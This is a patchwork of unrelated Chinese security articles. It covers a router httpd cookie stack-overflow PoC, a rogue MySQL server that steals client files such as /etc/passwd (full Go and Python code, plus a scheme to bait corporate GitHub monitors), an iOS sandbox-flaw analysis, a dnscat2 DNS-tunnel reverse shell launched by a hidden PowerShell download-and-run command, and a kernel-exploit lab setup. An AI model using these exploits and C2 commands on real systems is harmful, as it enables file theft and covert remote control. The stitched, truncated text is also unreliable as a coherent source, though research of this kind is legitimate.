int websSecurityHandler(webs_t wp, char_t *url, char_t *path, char_t *query);
再来看 R7WebsSecurityHandler，往下翻翻就能看见一个未经限制的 sscanf：
对照 WebSceurityHandler，将 a1 替换成之前的 websRec 结构体：
漏洞触发点出来了，cookie 中 password 的值未经过滤，可能会导致栈溢出。
但是要达到这条路径没有那么简单，还有一些条件：
因此需要找一个符合条件的目录，比如 goform/execCommand。
## 0x03 固件模拟
qemu-arm 指定根路径启动httpd：
qemu-arm -L ./ ./bin/httpd
找到关键词：
有一个关于 check_network函数的校验，可能会导致死循环，先patch掉:
再次运行还是报错：
再次搜索关键词，发现触发了 ConnectCfm(v2) 的判断，再patch，再执行：
监听255.255.255.255了，这里配置一下桥接网络。
apt install uml-utilities bridge-utils
brctl addbr br0
brctl addif br0 eth0
ifconfig br0 up
dhclient br0
chroot ./ ./qemu-arm-static ./bin/httpd
## 0x04 PoC
import requests
url = "http://10.211.55.21:80/goform/execCommand"
payload = 'a' * 500
headers = {
'Cookie': 'password="' + payload + '"'
}
print(headers)
response = requests.request("GET", url, headers=headers)
gdb-multiarch 调试一下，程序断在这：
可以看到，r3已经被覆盖为 'aaaa'，由于程序访问了r3处的内存，造成内存读取错误，程序并没有走到函数返回处。
通过对花括号的匹配，漏洞触发点后续的代码运行都取决于93-100行的判断：
此判断是判断 url 中是否包含一些特征字符，那么只需要在url后加入 .png 就可以使判断失败，从而直接运行到函数尾部。
但在在判断前，url已经被我们所覆盖，因此只要在payload中加上.png就可以完成目标。
再次尝试并计算偏移：
import requests
url = "http://10.211.55.21:80/goform/execCommand"
payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae' +".png"
headers = {
'Cookie': 'password=' + payload
}
print(headers)
response = requests.request("GET", url, headers=headers)
PC被劫持，且偏移为444。
* * * | 社区文章 |
> Author: 40huo
> Date: 20181113
某天看到 lightless 师傅的文章 [Read MySQL Client's
File](https://lightless.me/archives/read-mysql-client-file.html)，觉得这个「漏洞」真的非常神奇，小小研究了一下具体的利用。
## 漏洞原理
几篇参考文章已经将原理说的比较清楚了，问题出在 `LOAD DATA INFILE` 的地方，该功能是用于读取客户端上的一个文件，并将其内容导入到一张表中。
在 MySQL 连接建立的阶段会有一个必要的步骤，即
> 客户端和服务端交换各自功能
> 如果需要则创建SSL通信通道
> 服务端认证客户端身份
还有一个必要的条件就是 MySQL 协议中，客户端是不会存储自身请求的，而是通过服务端的响应来执行操作。
配合这两点就可以发现，我们可以恶意模拟 MySQL 服务端的身份认证过程，等待客户端的 SQL 查询，然后响应时返回一个 `LOAD DATA`
请求，客户端即根据响应内容上传了本机的文件。
借用 lightless 师傅的描述，正常的请求流程为
> 客户端：hi~ 我将把我的 `data.csv` 文件给你插入到 `test` 表中！
> 服务端：OK，读取你本地 `data.csv` 文件并发给我！
> 客户端：这是文件内容：`balabal`！
而恶意的流程为
> 客户端：hi~ 我将把我的 `data.csv` 文件给你插入到 `test` 表中！
> 服务端：OK，读取你本地的 `/etc/passwd` 文件并发给我！
> 客户端：这是文件内容：`balabal`（`/etc/passwd` 文件的内容）！
所以，只需要客户端在连接服务端后发送一个查询请求，即可读取到客户端的本地文件，而常见的 MySQL
客户端都会在建立连接后发送一个请求用来判断服务端的版本或其他信息，这就使得这一「漏洞」几乎可以影响所有的 MySQL 客户端。
> 客户端：hi~ 告诉我你的版本！
> 服务端：OK，读取你本地的 `/etc/passwd` 文件并发给我！
> 客户端：这是文件内容：`balabal`（`/etc/passwd` 文件的内容）！
## 已有的利用
[Bettercap](https://github.com/bettercap/bettercap) 已经集成好了一个恶意的 MySQL 服务器，可以在
[项目 Wiki](https://github.com/bettercap/bettercap/wiki/mysql.server)
中找到详细的说明，使用也非常简单。
$ sudo bettercap -eval "set mysql.server.infile /etc/hosts; mysql.server on"
相关代码在
[mysql_server.go](https://github.com/bettercap/bettercap/blob/master/modules/mysql_server.go)。
package modules
import (
"bufio"
"bytes"
"fmt"
"io/ioutil"
"net"
"strings"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/packets"
"github.com/bettercap/bettercap/session"
"github.com/evilsocket/islazy/tui"
)
type MySQLServer struct {
session.SessionModule
address *net.TCPAddr
listener *net.TCPListener
infile string
outfile string
}
func NewMySQLServer(s *session.Session) *MySQLServer {
mysql := &MySQLServer{
SessionModule: session.NewSessionModule("mysql.server", s),
}
mysql.AddParam(session.NewStringParameter("mysql.server.infile",
"/etc/passwd",
"",
"File you want to read. UNC paths are also supported."))
mysql.AddParam(session.NewStringParameter("mysql.server.outfile",
"",
"",
"If filled, the INFILE buffer will be saved to this path instead of being logged."))
mysql.AddParam(session.NewStringParameter("mysql.server.address",
session.ParamIfaceAddress,
session.IPv4Validator,
"Address to bind the mysql server to."))
mysql.AddParam(session.NewIntParameter("mysql.server.port",
"3306",
"Port to bind the mysql server to."))
mysql.AddHandler(session.NewModuleHandler("mysql.server on", "",
"Start mysql server.",
func(args []string) error {
return mysql.Start()
}))
mysql.AddHandler(session.NewModuleHandler("mysql.server off", "",
"Stop mysql server.",
func(args []string) error {
return mysql.Stop()
}))
return mysql
}
func (mysql *MySQLServer) Name() string {
return "mysql.server"
}
func (mysql *MySQLServer) Description() string {
return "A simple Rogue MySQL server, to be used to exploit LOCAL INFILE and read arbitrary files from the client."
}
func (mysql *MySQLServer) Author() string {
return "Bernardo Rodrigues (https://twitter.com/bernardomr)"
}
func (mysql *MySQLServer) Configure() error {
var err error
var address string
var port int
if mysql.Running() {
return session.ErrAlreadyStarted
} else if err, mysql.infile = mysql.StringParam("mysql.server.infile"); err != nil {
return err
} else if err, mysql.outfile = mysql.StringParam("mysql.server.outfile"); err != nil {
return err
} else if err, address = mysql.StringParam("mysql.server.address"); err != nil {
return err
} else if err, port = mysql.IntParam("mysql.server.port"); err != nil {
return err
} else if mysql.address, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", address, port)); err != nil {
return err
} else if mysql.listener, err = net.ListenTCP("tcp", mysql.address); err != nil {
return err
}
return nil
}
func (mysql *MySQLServer) Start() error {
if err := mysql.Configure(); err != nil {
return err
}
return mysql.SetRunning(true, func() {
log.Info("[%s] server starting on address %s", tui.Green("mysql.server"), mysql.address)
for mysql.Running() {
if conn, err := mysql.listener.AcceptTCP(); err != nil {
log.Warning("[%s] error while accepting tcp connection: %s", tui.Green("mysql.server"), err)
continue
} else {
defer conn.Close()
// TODO: include binary support and files > 16kb
clientAddress := strings.Split(conn.RemoteAddr().String(), ":")[0]
readBuffer := make([]byte, 16384)
reader := bufio.NewReader(conn)
read := 0
log.Info("[%s] connection from %s", tui.Green("mysql.server"), clientAddress)
if _, err := conn.Write(packets.MySQLGreeting); err != nil {
log.Warning("[%s] error while writing server greeting: %s", tui.Green("mysql.server"), err)
continue
} else if read, err = reader.Read(readBuffer); err != nil {
log.Warning("[%s] error while reading client message: %s", tui.Green("mysql.server"), err)
continue
}
// parse client capabilities and validate connection
// TODO: parse mysql connections properly and
// display additional connection attributes
capabilities := fmt.Sprintf("%08b", (int(uint32(readBuffer[4]) | uint32(readBuffer[5])<<8)))
loadData := string(capabilities[8])
username := string(bytes.Split(readBuffer[36:], []byte{0})[0])
log.Info("[%s] can use LOAD DATA LOCAL: %s", tui.Green("mysql.server"), loadData)
log.Info("[%s] login request username: %s", tui.Green("mysql.server"), tui.Bold(username))
if _, err := conn.Write(packets.MySQLFirstResponseOK); err != nil {
log.Warning("[%s] error while writing server first response ok: %s", tui.Green("mysql.server"), err)
continue
} else if _, err := reader.Read(readBuffer); err != nil {
log.Warning("[%s] error while reading client message: %s", tui.Green("mysql.server"), err)
continue
} else if _, err := conn.Write(packets.MySQLGetFile(mysql.infile)); err != nil {
log.Warning("[%s] error while writing server get file request: %s", tui.Green("mysql.server"), err)
continue
} else if read, err = reader.Read(readBuffer); err != nil {
log.Warning("[%s] error while readind buffer: %s", tui.Green("mysql.server"), err)
continue
}
if strings.HasPrefix(mysql.infile, "\\") {
log.Info("[%s] NTLM from '%s' relayed to %s", tui.Green("mysql.server"), clientAddress, mysql.infile)
} else if fileSize := read - 9; fileSize < 4 {
log.Warning("[%s] unpexpected buffer size %d", tui.Green("mysql.server"), read)
} else {
log.Info("[%s] read file ( %s ) is %d bytes", tui.Green("mysql.server"), mysql.infile, fileSize)
fileData := readBuffer[4 : read-4]
if mysql.outfile == "" {
log.Info("\n%s", string(fileData))
} else {
log.Info("[%s] saving to %s ...", tui.Green("mysql.server"), mysql.outfile)
if err := ioutil.WriteFile(mysql.outfile, fileData, 0755); err != nil {
log.Warning("[%s] error while saving the file: %s", tui.Green("mysql.server"), err)
}
}
}
conn.Write(packets.MySQLSecondResponseOK)
}
}
})
}
func (mysql *MySQLServer) Stop() error {
return mysql.SetRunning(false, func() {
defer mysql.listener.Close()
})
}
不过这个 server 实现的较为简单，只能用来临时用一下。
另外又找到一个比较古老的 Python 实现，相关代码在
[rogue_mysql_server.py](https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py)，测试了下也存在和 Bettercap
类似的问题，反正一共也就那么几个请求，完全可以自己来写，这样自由度更高一点。
## 自行实现
Python 来做 TCP 通信，最常用的就是 Twisted 了，这是一个功能非常完全的异步 TCP 框架，著名的 Scrapy 爬虫框架就是基于
Twisted 的。
仔细看了下 Bettercap 模块的代码和 MySQL 文档，发现其实只需要四个响应，分别是首次连接的 Greeting，第一次请求的
FirstResponseOK，读取文件的 ReadFile 和第二次请求的 SecondResponseOK，只要知道了响应，写 Twisted
的协议就非常简单了。
class MySQLProtocol(Protocol):
"""
MySQL协议
"""
GREETING, FIRST_RESP, SECOND_RESP, FILE_READ = range(4)
STATE = {
GREETING: 'GREETING',
FIRST_RESP: 'FIRST_RESP',
SECOND_RESP: 'SECOND_RESP',
FILE_READ: 'FILE_READ',
}
def __init__(self):
super(MySQLProtocol, self).__init__()
self.state = self.GREETING
self.logger = Logger(__name__).get_logger()
def connectionMade(self):
msg = f'Got a new connection from {self.transport.hostname}'
self.logger.info(msg)
# Greeting
mysql_greeting = bytes.fromhex(
'5b0000000a352e362e32382d307562756e7475302e31342e30342e31002d000000403f59264b2b346000fff70802007f8015000000000000000000006869595f525f635560645352006d7973716c5f6e61746976655f70617373776f726400'
)
if self.state == self.GREETING:
# 发送 GREETING 包
self.transport.write(mysql_greeting)
self.state = self.FIRST_RESP
def connectionLost(self, reason=connectionDone):
msg = f'{self.transport.hostname} disconnected'
self.logger.info(msg)
def dataReceived(self, data):
filenames = (
'/etc/passwd',
'/etc/hosts'
)
# First response ok
first_response_ok = bytes.fromhex('0700000200000002000000')
second_response_ok = bytes.fromhex('0700000400000002000000')
# Server response with evil
filename = random.choice(filenames)
dump_file = chr(len(filename) + 1).encode() + bytes.fromhex('000001fb') + filename.encode()
self.logger.debug(f'Client state: {self.STATE[self.state]}, data received: {data}')
if self.state == self.FIRST_RESP:
# 发送第一个响应包
self.transport.write(first_response_ok)
self.state = self.FILE_READ
return
elif self.state == self.FILE_READ:
# 发送读文件包
self.logger.debug(f'Trying to read {filename}, sending data: {dump_file}')
self.transport.write(dump_file)
self.state = self.SECOND_RESP
return
elif self.state == self.SECOND_RESP:
# 解析读文件响应 发送第二个响应包
file_length = len(data)
try:
file_content = data[4: file_length - 4].decode()
except UnicodeDecodeError:
file_content = data[4: file_length - 4]
self.logger.info(f'File received: \n{file_content}')
if len(file_content) > 5:
with open(os.path.join(os.path.dirname(__file__), '../logs/mysql_file.log'), 'a+', encoding='utf-8') as f:
f.write(f'{self.transport.hostname}\n')
f.write(f'{file_content}\n\n\n')
self.transport.write(second_response_ok)
self.transport.loseConnection()
return
else:
self.logger.warning(f'Unknown client state: {self.state}')
self.transport.loseConnection()
return
注意 Twisted 的写法是当前连接的变量存在 protocol 中，而整个服务的变量存在 factory 中。
## It's a trap!
只要我们把这个恶意的服务开在 3306 端口上，自然会有全球各地的扫描器来光顾，不光能读到一些客户端文件，还能接收到很多各类后门挖矿
payload，不过这只是常规操作。
近两年来，各大厂商都开始做自己的 GitHub 代码监控，防止内部代码泄露，借着这一点，更猥琐的思路是在 GitHub 上传包含各大厂商特征的假代码，在其
MySQL 配置中加上我们恶意服务的地址和端口，这样当厂商监控到 GitHub
的代码，大概翻一下就可以发现配置文件中的数据库密码，一般人都会去连接一下，此时……
不过 Mac 安装的 MySQL 版本默认没有开本地文件上传的功能，触发漏洞需要手动指定 `--enable-local-infile`
参数，只能说一声可惜了。
疑似某广东公司的请求，可惜没读到文件。
抓到的谷歌云扫描器。
某俄罗斯扫描器。
## 展望
一个只能读特定文件的洞说起来还是用处小了一点，之后计划再集成一下之前 AWVS 8 和 10 的命令执行，做成一个更有威力的反击工具。
## 参考文章
* <https://www.anquanke.com/post/id/106488>
* <https://lightless.me/archives/read-mysql-client-file.html>
* <https://github.com/bettercap/bettercap>
* <http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/> | 社区文章 |
# 深入分析iOS的流沙漏洞
|
##### 译文声明
本文是翻译文章，文章来源：默白@360安全播报
原文地址：<http://blog.trendmicro.com/trendlabs-security-intelligence/sinking-into-the-ios-quicksand-vulnerability/>
译文仅供参考，具体内容表达以及含义原文为准。
我们对iOS的流沙漏洞(标有CVE-2015-5749)进行调查,得出的结论是:这个安全漏洞,尽管它对机密数据具有严重的危险性,但由于其需要特定的条件而难以被利用。
例如,MDM产品必须支持并使用“推送配置”的功能;这个功能通常允许设备管理员将配置信息和应用程序一起推送到用户设备。这是苹果公司所鼓励的做法。
**
**
**深入分析流沙漏洞**
根据报道,流沙漏洞绕过iOS沙箱的保护,影响移动设备的管理(MDM)客户端。去年八月之前到2015年八月发布的8.4.1iOS版本的安全问题都受此影响。
iOS的沙箱主要用来分开或分离的每一个来自其他应用程序以及操作系统(OS)的应用程序。它的功能是作为一项安全措施,一种防止任何恶意应用程序访问设备上的其他应用程序的内容的“安全网”。不过,该漏洞允许攻击者使用带有恶意代码的应用程序去查找,从而找到了存储在设备内部其他应用的配置等信息。
图一:收录在 client中的目录“/Library/Managed Preferences/mobile/.”
图2.攻击者可以利用这个漏洞来读取该配置的敏感信息
另外,攻击者也可能诱使员工,并且让用户通过App
Store或企业凭证安装一个应用程序(这事实上是恶意软件)在MDM的客户端。在企业的资源调配上,组织和公司可以建立自己的内部应用程序,从而不必经过苹果商店进行检查和验证。
想象一下,一个企业的设置,其中的内部企业应用程序是由MDM客户端所部署。这些MDM客户端能够被IT管理员所使用去控制,并且监督全体员工使它们在监察下访问企业网络和敏感信息。攻击者可能会利用“可信源”这一概念,可能诱使员工进入安装恶意应用的程序,并从他们的MDM认证它是合法的。
**
**
**保持事物(在安全性方面)的角度**
尽管对企业数据有严重风险,但是如果该漏洞在外界被成功利用的影响是很小的,首先,不是所有的iOS设备都由MDM客户端开启。我们建议用户更新他们的iOS设备到其最新版本。如果部署的应用程序是有效的,合法的,对于内部的应用程序,先验证他们的IT管理员是至关重要,。这可以防止任何恶意的应用程序进入企业网络,从而窃取敏感数据。 | 社区文章 |
读者也许听过很多大数据分析和人工智能安全的宣讲，那些由密密麻麻方框搭起的架构图到底效果如何，先进技术在产品中如何落地实现，其实答案也很简单，让我们一起将常见威胁工具一个个试过去便清楚了。本系列文章讲述传统安全措施难以防范的高级威胁手法和工具如何利用，并逐一演示拥有机器学习能力的标准化产品俱都能成功检测。
在安全策略严格的内网环境中，常见的C&C通讯端口都被众多安全设备所监控。如果红队对目标内网的终端进行渗透时，发现该网段只允许白名单流量出站，同时其它端口都被屏蔽时，传统C&C通讯手段无法成立，反弹Shell变得十分困难。在这种情况下，红队还有一个最后的选择：使用DNS隐蔽隧道建立Reverse
Shell。
**1、工具**
本次演示使用两个软件：
1. Dnscat2为开源，使用DNS协议创建加密C&C通道，提供服务器端和客户端
网址 https://github.com/iagox86/dnscat2
2. dnscat2-powershell是一个powershell版本的Dnscat2客户端
网址 https://github.com/lukebaggett/dnscat2-powershell
只用Dnscat2的官方客户端也可以创建Reverse
Shell，只不过需要下载win32运行程序到目标终端本地运行，虽然一般杀毒软件不会报警，但是总觉得不妥。当然读者也可以尝试转码官方客户端并构造IEX，但那是另外一个话题内容，笔者计划以后再写。从演示内容简单直接易上手的角度来看，使用dnscat2-powershell更适合本文的目标。
**2、架设C &C**
首先假设控制用的基础设施。笔者选择了一台阿里云服务器安装Ubuntu 16.04系统作为C&C服务器，一台Windows 10
x64虚拟机用作被攻击盗取数据的目标，另外还需要一个可以配置的域名。
DNS Tunnel示意图
虽然Dnscat2提供53端口直联服务器的功能，但是想达到最好的隐蔽隧道效果，需要自行配置域名cirrus.[domain]：创建A记录，将自己的域名解析服务器(ns.cirrus.[domain])指向云服务器(IP:
3 _.1 **.**_.***)；再创建NS记录将dnsch子域名的解析交给ns.cirrus.[domain]。
在云服务器(IP: 3 _.1 **.**_.***)上安装Dnscat2服务端。如果你熟悉Ruby和GEM，那么安装十分简单，可以跳过下面的命令。
# apt-get update
# apt-get -y install ruby-dev git make g++
# gem install bundler
接下来安装Dnscat2 Server。
# git clone https://github.com/iagox86/dnscat2.git
# cd dnscat2/server
# bundle install
Ruby会提示什么时候用到root权限。
如果一切顺利，已经可以输入下面的命令来启动服务端：
# sudo ruby ./dnscat2.rb dnsch.cirrus.[domain] -e open -c dnschcirrus --no-cache
请注意把dnsch.cirrus.[domain]换成你自己的域名。命令行中，-c参数定义了pre-shared
secret，在服务器端和客户端使用相同加密的秘密dnschcirrus，可以防止man-in-the-middle攻击，否则传输数据并未加密，有可能被监听网络流量的第三方还原；如果不加定义，Dnscat2会生成一个字符串，记得拷贝下来在启动客户端时使用。-e参数可以规定安全级别，open代表让客户端进行选择。--no-cache，请务必在运行服务器时添加无缓存选项，因为powershell-dnscat2客户端与dnscat2服务器的caching模式不兼容。
如果没有给root权限就无法监听DNS服务所使用的53端口。
**3、目标主机加载客户端**
Dnscat2亦有编译好的Windows客户端，感兴趣的读者可以自行下载试用。而使用Powershell-Dnscat2除了获得可交互的Reverse
Shell外，依靠powershell标准的IEX加载脚本方式，从外部可信任网站下载到内存再加以利用，fileless运行客户端避免文件落地，降低风险。官方网址给出的链接为：
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
读者也可以把dnscat2.ps1内容放置到目标网络信任的服务器上，躲避监控。
对红队来讲，下面启动客户端的参数十分重要。
-Domain <String> The Domain being used by the dnscat2 server.
-DNSServer <String> The hostname or IP Address to send DNS queries to. (Default: Set by Windows)
-PreSharedSecret Set the same secret on the server to authenticate and prevent MITM.
-LookupTypes <String[]> Set an array of lookup types to randomly switch between. Only TXT, MX, CNAME, A, and AAAA records are supported. Default: @(TXT, MX, CNAME)
-Delay <Int32> Set a delay between each request, in milliseconds. (Default: 0)
-MaxRandomDelay <Int32> Set the max value of a random delay added to the normal delay, in milliseconds. (Default: 0)
我们重新构造一下powershell命令实现一句话脚本，更易利用并减少注意力：
powershell.exe -nop -w hidden -c {IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/ dnscat2-powershell/master/dnscat2.ps1'); Start-Dnscat2 -Domain dnsch.cirrus.[domain] -PreSharedSecret dnschcirrus}
请注意，设置与服务器相同的通信加密用的PreSharedSecret，还有替换你自己的域名。其它参数如bypass等依读者需要自行添加。
**4、DNS隐蔽隧道之上的反弹Shell**
此时，我们已可以在服务器上看到客户端上线提示。
使用windows命令查看目前的控制进程有哪些。
提示符后输入window -i 9进入DESKTOP-EQIRG2L，然后启动shell，便可以交互输入命令并查看。
具体Dnscat2控制命令的使用笔者就不赘述了，读者可自行查阅文档尝试。
读者也可以尝试持久化，将上面那行powershell命令加入开机启动执行。
如果在目标终端上使用Dnscat2自己的客户端，显示如下。
**5、DNS隐蔽隧道流量特征**
让我们一起观察Dnscat2所使用的隧道流量数据。
我们很容易注意到，主要使用了CNAME、MX、以及TXT记录的查询。
dnscat2拥有独立的服务器(Ruby)和客户端(C)，作者实现了一个转换器，把所有传输数据变成字节流，因此拥有一个私有的数据传输分层协议，跑在下面的DNS层之上。
对比上篇文章中提到的Cobalt Strike的DNS隐蔽隧道利用，我们可以发现Dnscat2的自有格式协议明显不够清晰。例如，Cobalt
Strike缺省设置，每60秒按格式 [Session ID].dnsch.cirrus.[domain]
发送A记录解析请求，向C2服务器报告上线；使用A记录查询向服务器上传数据，使用TXT记录下载指令和payloads等。
Dnscat2上传和下载两个方向上的所有数据都用十六进制编码字符串传输，例如，AAA转换成为414141。域名中的任何小数点都被忽略，因此，41.4141、414.141、和414141是完全对等的。此外，该协议是不区分大小写的，所以5b和5B也是等价的(客户端和服务器处理大小写是很重要的)。
在这里，必须要补充说明的是，笔者曾经快速扫过Dnscat2的代码实现，发现其通讯的容错和纠正机制并不完善，所以有很大几率出现运行不稳定的状况。感兴趣的读者也可以自行修改优化，改善其可靠性，并加入更多逃避检测的能力。
DNS隐蔽隧道检测是识别未知威胁必不可少的关键技术能力。震惊零售业的POS木马的余波还在扩散，Home
Depot和Target等巨头付出了惨重代价。这事件中肆虐的FrameworkPOS木马就采用了DNS隐蔽通道回传数据的方法，将在内存中发现的信用卡数据上传回服务器，具体格式如下
而去年曾引起广泛注意的Xshell软件被植入木马攻击的事件中也使用了DGA和DNS隧道技巧：
毫无疑问，思睿嘉得DLP和NTA标准产品已经能够准确检测Dnscat2反弹shell，报警截图如下所示：
(本系列教程介绍演示常见外部入侵和内部威胁的手法、战术、以及工具，并给出使用现有成熟产品进行检测和响应的实际方法。) | 社区文章 |
# 【系列分享】Linux 内核漏洞利用教程（一）：环境配置
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[o0xmuhe](http://bobao.360.cn/member/contribute?uid=32403999)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**传送门**
[**【系列分享】Linux
内核漏洞利用教程（二）：两个Demo**](http://bobao.360.cn/learning/detail/3702.html)
**
**
**0x00: 前言**
一直想入门linux kernel
exploit，但是网络上比较成熟的资料很少，只能找到一些slide和零碎的文档，对于入门选手来说真的很困难。还好在自己瞎摸索的过程中上了joker师傅的装甲车，师傅说：要有开源精神，要给大家学习的机会。
所以就有了这个系列的文章，第一篇记录是环境配置篇，包含了linux内核编译、添加系统调用并测试的过程。在这个过程中我还是遇到很多坑点的，踩了一段时间才把这些坑填好，成功搞定，希望我的经历能给大家一点帮助。
**0x01: 环境说明**
ubuntu 14.04 x86
qemu
使用的内核版本[2.6.32.1](https://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.32.1.tar.gz%20-O%20linux-2.6.32.1.tar.gz)
busybox版本[1.19.4](https://busybox.net/downloads/)
使用busybox是因为文件添加方便.
**0x02: 内核编译并测试**
**1\. 下载内核源码**
$ wget https://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.32.1.tar.gz -O linux-2.6.32.1.tar.gz
$ tar -xjvf linux-2.6.32.1.tar.gz
**2\. 编译过程**
首先要安装一些依赖库以及qemu。
$ cd linux-2.6.32.1/
$ sudo apt-get install libncurses5-dev
$ sudo apt-get install qemu qemu-system
$ make menuconfig
$ make
$ make all
$ make modules
**3\. 编译的时候遇到的问题以及解决方案**
**3.1 问题1**
问题
Can't use 'defined(@array)' (Maybe you should just omit the defined()?) at kernel/timeconst.pl line 373.
/home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/kernel/Makefile:129: recipe for target 'kernel/timeconst.h' failed
make[1]: *** [kernel/timeconst.h] Error 255
Makefile:878: recipe for target 'kernel' failed
make: *** [kernel] Error 2
解决方案: 尝试[修改这个文件](http://www.playpenguin.net/an-zhuo-nei-he-bian-yi-cuo-wu-kerneltimeconsth-definedval.html)
@val = @{$canned_values{$hz}};
- if (!defined(@val)) {
+ if (!@val) {
@val = compute_values($hz);
}
output($hz, @val);
--
**3.2 问题2**
问题描述
....
arch/x86/kernel/ptrace.c:1472:17: error: conflicting types for ‘syscall_trace_enter’
asmregparm long syscall_trace_enter(struct pt_regs *regs)
^
In file included from /home/muhe/linux_kernel/linux-2.6.32.1/arch/x86/include/asm/vm86.h:130:0,
from /home/muhe/linux_kernel/linux-2.6.32.1/arch/x86/include/asm/processor.h:10,
from /home/muhe/linux_kernel/linux-2.6.32.1/arch/x86/include/asm/thread_info.h:22,
from include/linux/thread_info.h:56,
from include/linux/preempt.h:9,
from include/linux/spinlock.h:50,
from include/linux/seqlock.h:29,
from include/linux/time.h:8,
from include/linux/timex.h:56,
from include/linux/sched.h:56,
from arch/x86/kernel/ptrace.c:11:
/home/muhe/linux_kernel/linux-2.6.32.1/arch/x86/include/asm/ptrace.h:145:13: note: previous declaration of ‘syscall_trace_enter’ was here
extern long syscall_trace_enter(struct pt_regs *);
^
arch/x86/kernel/ptrace.c:1517:17: error: conflicting types for ‘syscall_trace_leave’
asmregparm void syscall_trace_leave(struct pt_regs *regs)
^
In file included from /home/muhe/linux_kernel/linux-2.6.32.1/arch/x86/include/asm/vm86.h:130:0,
from /home/muhe/linux_kernel/linux-2.6.32.1/arch/x86/include/asm/processor.h:10,
from /home/muhe/linux_kernel/linux-2.6.32.1/arch/x86/include/asm/thread_info.h:22,
from include/linux/thread_info.h:56,
from include/linux/preempt.h:9,
from include/linux/spinlock.h:50,
from include/linux/seqlock.h:29,
from include/linux/time.h:8,
from include/linux/timex.h:56,
from include/linux/sched.h:56,
from arch/x86/kernel/ptrace.c:11:
/home/muhe/linux_kernel/linux-2.6.32.1/arch/x86/include/asm/ptrace.h:146:13: note: previous declaration of ‘syscall_trace_leave’ was here
extern void syscall_trace_leave(struct pt_regs *);
^
make[2]: *** [arch/x86/kernel/ptrace.o] 错误 1
make[1]: *** [arch/x86/kernel] 错误 2
make: *** [arch/x86] 错误 2
解决方案
patch patch -p1 < /tmp/1.patch
--- linux-2.6.32.59/arch/x86/include/asm/ptrace.h
+++ fix_ptrace.o_compile_error/arch/x86/include/asm/ptrace.h
@@ -130,6 +130,7 @@
ifdef KERNEL
include
+#include
struct cpuinfo_x86;
struct task_struct;
@@ -142,8 +143,8 @@
int error_code, int si_code);
void signal_fault(struct pt_regs regs, void __user frame, char *where);
-extern long syscall_trace_enter(struct pt_regs );
-extern void syscall_trace_leave(struct pt_regs );
+extern asmregparm long syscall_trace_enter(struct pt_regs );
+extern asmregparm void syscall_trace_leave(struct pt_regs );
static inline unsigned long regs_return_value(struct pt_regs *regs)
{
**3.3 问题3**
问题描述
gcc: error: elf_i386: 没有那个文件或目录
gcc: error: unrecognized command line option ‘-m’
解决方案
arch/x86/vdso/Makefile
VDSO_LDFLAGS_vdso.lds = -m elf_x86_64 -Wl,-soname=linux-vdso.so.1 -Wl,-z,max-page-size=4096 -Wl,-z,common-page-size=4096 把"-m elf_x86_64" 替换为 "-m64"
VDSO_LDFLAGS_vdso32.lds = -m elf_i386 -Wl,-soname=linux-gate.so.1中的 "-m elf_i386" 替换为 "-m32"
**3.4 问题4**
问题描述
drivers/net/igbvf/igbvf.h15: error: duplicate member ‘page’
struct page page;
^
make[3]: ** [drivers/net/igbvf/ethtool.o] 错误 1
make[2]: [drivers/net/igbvf] 错误 2
make[1]: [drivers/net] 错误 2
make: * [drivers] 错误 2
解决方案
//修改名字重复
struct {
struct page *_page;
u64 page_dma;
unsigned int page_offset;
};
};
struct page *page;
**0x03:增加syscall**
增加syscall的方式和之前[文章](http://o0xmuhe.me/2017/02/08/Adding-your-own-syscall-in-linux-kernel/)写的差不多，只是这次内核版本更低，所以更简单一点。我这里添加了两个系统调用进去。
**1\. 在syscall table中添加信息**
文件 arch/x86/kernel/syscall_table_32.S中添加自己的调用
.long sys_muhe_test
.long sys_hello
**2\. 定义syscall的宏**
文件arch/x86/include/asm/unistd_32.h中添加
#define __NR_hello 337
#define __NR_muhe_test 338
#ifdef __KERNEL__
#define NR_syscalls 339
要注意NR_syscalls要修改成现有的调用数目，比如原来有0~336一共337个调用，现在增加了两个，那就改成339。
**3\. 添加函数定义**
文件include/linux/syscalls.h
asmlinkage long sys_muhe_test(int arg0);
asmlinkage long sys_hello(void);
**4\. 编写syscall代码**
新建目录放自定义syscall的代码
# muhe @ ubuntu in ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/muhe_test [2:43:06]
$ cat muhe_test.c
#include <linux/kernel.h>
asmlinkage long sys_muhe_test(int arg0){
printk("I am syscall");
printk("syscall arg %d",arg0);
return ((long)arg0);
}
asmlinkage long sys_hello(void){
printk("hello my kernel worldn");
return 0;
}
# muhe @ ubuntu in ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/muhe_test [2:43:12]
$ cat Makefile
obj-y := muhe_test.o
**5\. 修改Makefile**
# muhe @ ubuntu in ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1 [2:44:59]
$ cat Makefile| grep muhe
core-y += kernel/ mm/ fs/ ipc/ security/ crypto/ block/ muhe_test/
**6\. 编译**
make -j2
我虚拟机分配了两个核，所以使用-j2 这样能稍微快一点。
**0x04: busybox编译配置**
